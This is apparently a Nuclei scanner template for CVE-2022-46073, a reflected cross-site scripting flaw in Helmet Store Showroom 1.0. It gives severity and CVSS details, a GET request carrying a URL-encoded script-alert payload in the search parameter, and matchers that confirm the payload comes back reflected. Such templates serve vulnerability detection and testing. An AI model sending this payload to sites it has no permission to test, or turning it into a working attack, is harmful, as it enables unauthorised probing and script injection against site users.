id: CVE-2022-46073

info:
  name: Helmet Store Showroom - Cross Site Scripting
  author: Harsh
  severity: medium
  description: |
    Helmet Store Showroom 1.0 is vulnerable to Cross Site Scripting (XSS).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://yuyudhn.github.io/CVE-2022-46073/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46073
    - https://www.youtube.com/watch?v=jT09Uiwl0Jo
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46073
    cwe-id: CWE-79
    epss-score: 0.01235
    epss-percentile: 0.6515
    cpe: cpe:2.3:a:helmet_store_showroom_project:helmet_store_showroom:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: helmet_store_showroom_project
    product: helmet_store_showroom
  tags: cve2022,cve,xss,helmet-store-showroom,helmet_store_showroom_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/hss/?q=%27%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Helmet Store Showroom")'
          - 'contains(body, "><script>alert(document.domain)</script>")'
        condition: and
# digest: 490a004630440220643b17d65b8f49dc02b86bdc2c306304312bf5c634ac2cdf274610cc6cf6a636022076a6ce281f379179c903ffc76f0c3c5b3b4d1c00ebd851c7ce2a93fd7e2dfce8:922c64590222798bb761d5b6d8e72950